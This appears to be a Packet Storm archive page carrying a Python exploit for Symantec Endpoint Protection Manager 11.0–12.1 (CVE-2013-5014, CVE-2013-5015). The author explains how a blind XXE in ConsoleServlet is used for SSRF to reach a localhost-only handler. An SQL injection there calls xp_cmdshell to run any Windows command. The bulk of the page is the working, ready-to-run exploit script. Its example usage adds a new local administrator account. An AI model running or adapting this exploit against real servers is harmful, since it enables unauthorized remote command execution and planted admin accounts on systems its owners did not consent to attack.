what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Symantec Endpoint Protection Manager Remote Command Execution

Symantec Endpoint Protection Manager Remote Command Execution
Posted Feb 23, 2014
Authored by Chris Graham

Symantec Endpoint Protection Manager suffers from a remote command execution vulnerability. Versions 11.0, 12.0, and 12.1 are affected.

tags | exploit, remote
advisories | CVE-2013-5014, CVE-2013-5015
SHA-256 | 1230fa397327e1f414c650a845b08b3ed515236c94fa13a2c1c80e976a099209

Symantec Endpoint Protection Manager Remote Command Execution

Change Mirror Download
import argparse
import httplib

"""
Exploit Title: Symantec Endpoint Protection Manager Remote Command Execution
Exploit Author: Chris Graham @cgrahamseven
CVE: CVE-2013-5014, CVE-2013-5015
Date: February 22, 2014
Vendor Homepage: http://www.symantec.com/endpoint-protection
Version: 11.0, 12.0, 12.1
Tested On: Windows Server 2003, default SEPM install using embedded database
References: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140213_00
Details:

First off, this was a fantastic discovery by Stefan Viehbock. The abuse of the XXE
injection to force SEPM to exploit itself through a separate SQL injection flaw was
particularly amusing. I suspect the majority of SEPM users will have it configured
with the default embedded database, thereby making this a pretty reliable exploit.

So basically what you are looking for with the XXE injection is a vulnerability
that can be triggered in the ConsoleServlet. When a multipart http request is sent,
the servlet will use a custom MultipartParser class to handle the individual
multipart bodies. When a body is encountered that uses a Content-Type of text/xml,
the Java DocumentBuilder class is used to parse the xml. Since Symantec did not
disallow declared DTD processing, it is vulnerable to the XXE injection. This
appears to be a blind XXE, so a better use of the vulnerability is use it for SSRF.
That leads us to the SQL injection flaw.

Symantec has an http request handler called ConfigServerHandler that is programmatically
restricted to only handle requests that come from localhost. I guess when they wrote this
they just assumed that there was never going to be a way to send untrusted input to it
since it was always going to be controlled by them. I base this guess on the fact that
there is absolutely no attempt made to validate what input comes in to the
updateReportingVersion function which shoves it directly into a SQL query unfiltered. In
order to trigger the SQL injection you just need to send the SQL injection string in the
"Parameter" url param with the "action" param set to test_av. On a default install of SEPM,
it uses a SQL Anywhere embedded database. Much like MSSQL, SQL Anywhere has an xp_cmdshell
stored procedure to run local OS commands. Using this stored procedure, you can compromise
the server that is running SEPM.

Example Usage:
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net user myadmin p@ss!23 /add"
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net localgroup Administrators myadmin /add"
"""

multipart_body = \
"------=_Part_156_33010715.1234\r\n" + \
"Content-Type: text/xml\r\n" + \
"Content-Disposition: form-data; name=\"Content\"\r\n\r\n" + \
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n" + \
"<!DOCTYPE sepm [<!ENTITY payload SYSTEM " + \
"\"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av" + \
"&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('%s');--\" >]>\r\n" + \
"<request>\r\n" + \
"<xxe>&payload;</xxe>\r\n" + \
"</request>\r\n" + \
"------=_Part_156_33010715.1234--\r\n"
headers = {'Content-Type':"multipart/form-data; boundary=\"----=_Part_156_33010715.1234\""}

cmdline_parser = argparse.ArgumentParser(description='Symantec Endpoint Protection Manager' + \
' Remote Command Execution')
cmdline_parser.add_argument('-t', dest='ip', help='Target IP', required=True)
cmdline_parser.add_argument('-p', dest='port', help='Target Port', default=9090, \
type=int, required=False)
cmdline_parser.add_argument('-ssl', dest='ssl', help='Uses SSL (set to 1 for true)', \
default=0, type=int, required=False)
cmdline_parser.add_argument('-c', dest='cmd', help='Windows cmd to run (must be in quotes ie "net user")', \
required=True)
args = cmdline_parser.parse_args()

if args.ssl == 1:
conn = httplib.HTTPSConnection(args.ip, args.port)
else:
conn = httplib.HTTPConnection(args.ip, args.port)
multipart_body = multipart_body % (args.cmd)
print "\n[*]Attempting to exploit XXE and run local windows command: " + args.cmd
conn.request("POST", "/servlet/ConsoleServlet?ActionType=ConsoleLog", multipart_body, headers)
res = conn.getresponse()
if res.status != 200:
print "[-]Exploit unsuccessful! Server returned:\n" + res.read()
else:
print "[+]Exploit successfully sent!"

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close